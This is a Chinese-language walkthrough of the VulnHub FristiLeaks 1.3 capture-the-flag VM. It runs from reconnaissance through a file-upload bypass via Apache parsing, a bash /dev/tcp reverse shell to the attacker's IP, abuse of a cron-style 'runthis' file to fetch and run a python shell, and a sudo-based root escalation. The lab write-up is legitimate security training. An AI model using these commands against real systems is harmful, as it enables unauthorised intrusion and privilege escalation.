清者自清
链接:https://www.vulnhub.com/entry/fristileaks-13,133/
作者:Ar0xA
难度:中等
主机发现,以及快速的80探测
全端口syn扫描
nmap -sS 192.168.111.153 -T4 -p- -A
爬虫协议
这个界面似曾相识啊,就是上面那些url,一个路径下面有一个图片,这不就是Tr0ll系列的内容嘛?那个FTP匿名登录的。这张图告诉我们说,This is not the url,不是这个url,貌似是想要我们找URL信息
分析源码,从这个图片标签中,就能分析出网站根目录中都对应着一个图片
查看这个图片的上级目录,没有利用信息
首页源码
wappalyzer信息
那么只剩下首页那几个大字了
找到上面那张图的最后一个单词,fristi
打靶机的时候,一定要第一时间查看源码!这里有一个base64编码信息
这里可以看到是一个png的文件头,说明是一个png文件
将他重定向为一个png文件
密码信息KeKkeKKeKKeKkEkkEk,但是没有用户啊
继续查看源码,eezeepz
此时得到了账号密码
登录成功
让我们选择一个图片文件
随意上传,Only allowed are: png,jpg,gif,限制了png,jpg,gif格式
抓包改格式,还是上传失败的
看这里,有一个apache中间件
利用这个apache中间件的解析漏洞,他不是一个编号漏洞,而是配置不当,具体描述如下
访问成功
连接即可
反弹shell
/bin/bash -i >& /dev/tcp/192.168.111.128/6666 0>&1
创建一个交互式终端
python -c 'import pty; pty.spawn("/bin/bash")'
从当前网站根目录开始信息收集,既然涉及到了登录,那么大概率用到了数据库,检查一下checklogin.php
账号密码:eezeepz / 4ll3maal12#
目前也就只有这一条信息
eezeepz 用户存在,使用数据库的密码尝试登录,失败了
其他信息收集
bash-4.1$ uname -a
Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
bash-4.1$ lsb_release
lsb_release
bash: lsb_release: command not found
bash-4.1$ cat /etc/os-release
cat /etc/os-release
cat: /etc/os-release: No such file or directory
bash-4.1$ find / -perm -4000 -print 2>/dev/null
find / -perm -4000 -print 2>/dev/null
/bin/mount
/bin/fusermount
/bin/umount
/bin/su
/bin/ping
/bin/ping6
/sbin/pam_timestamp_check
/sbin/unix_chkpwd
/usr/bin/crontab
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/passwd
/usr/libexec/openssh/ssh-keysign
/usr/libexec/pt_chown
/usr/sbin/suexec
/usr/sbin/usernetctl
直到回家的路上,看到一个jerry写的txt文件,似乎是让我们清理掉eezeepz的home
hey eezeepz your homedir is a mess, go clean it up, just dont delete
the important stuff.
-jerry
很多的命令,但是有也包含了一个txt文件
查看内容
意思大致就是说,需要将 /usr/bin/* 目录下的文件夹中复制到我home下面,来自/home/admin/
下面这段话,应该是说让我们建立一个计划任务,每分钟以我的用户(admin)进行运行
根据上面的提示,让我们放入一个runthis文件,而这个文件,类似/etc/crontab(计划任务)文件,在这里是以admin用户定时执行任务,所以我们的思路是可以利用这个漏洞拿到admin的shell
开启一个微型的http服务
python -m http.server
Tips :wget的时候,不添加http
等关键字也可以
wget 192.168.111.128:8000/py_shell_release.py
方法一:
echo '/usr/bin/../../bin/chmod -R 777 /home/admin' > runthis
这个时候也能直接查看admin目录下面的文件信息了,越权成功
方法二:
echo '/usr/bin/python /tmp/py_shell_release.py' > runthis
此时就可以直接断开连接了,然后nc监听就行(耐心等待一会儿),反弹成功,获取到admin用户的权限
创建交互式终端,查看这两个txt文件
python -c 'import pty; pty.spawn("/bin/bash")'
不清楚上面是什么加密的话,可以查看当前目录下面的一个py文件,包含了这个加密的信息,通过这些代码,就可以写出解码的代码
解码的代码参考
import base64,codecs,sys
def decodeString(str):
base64string= codecs.decode(str,'rot13')
return base64.b64decode(base64string[::-1])
cryptoResult=decodeString(sys.argv[1])
print cryptoResult
第一个结果:LetThereBeFristi!
第二个结果:thisisalsopw123
切换一个用户看看,成功一个
去到当前用户的根目录,~
,有一个suid文件
sudo -l 也是这个文件,有了suid还能sudo
不知道文件怎么用?history,继续信息收集
发现能够以root身份执行命令
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
那么使用 /bin/bash 试试,提权成功。如果/bin/bash不成功,还可以试试反弹shell
暂无评论内容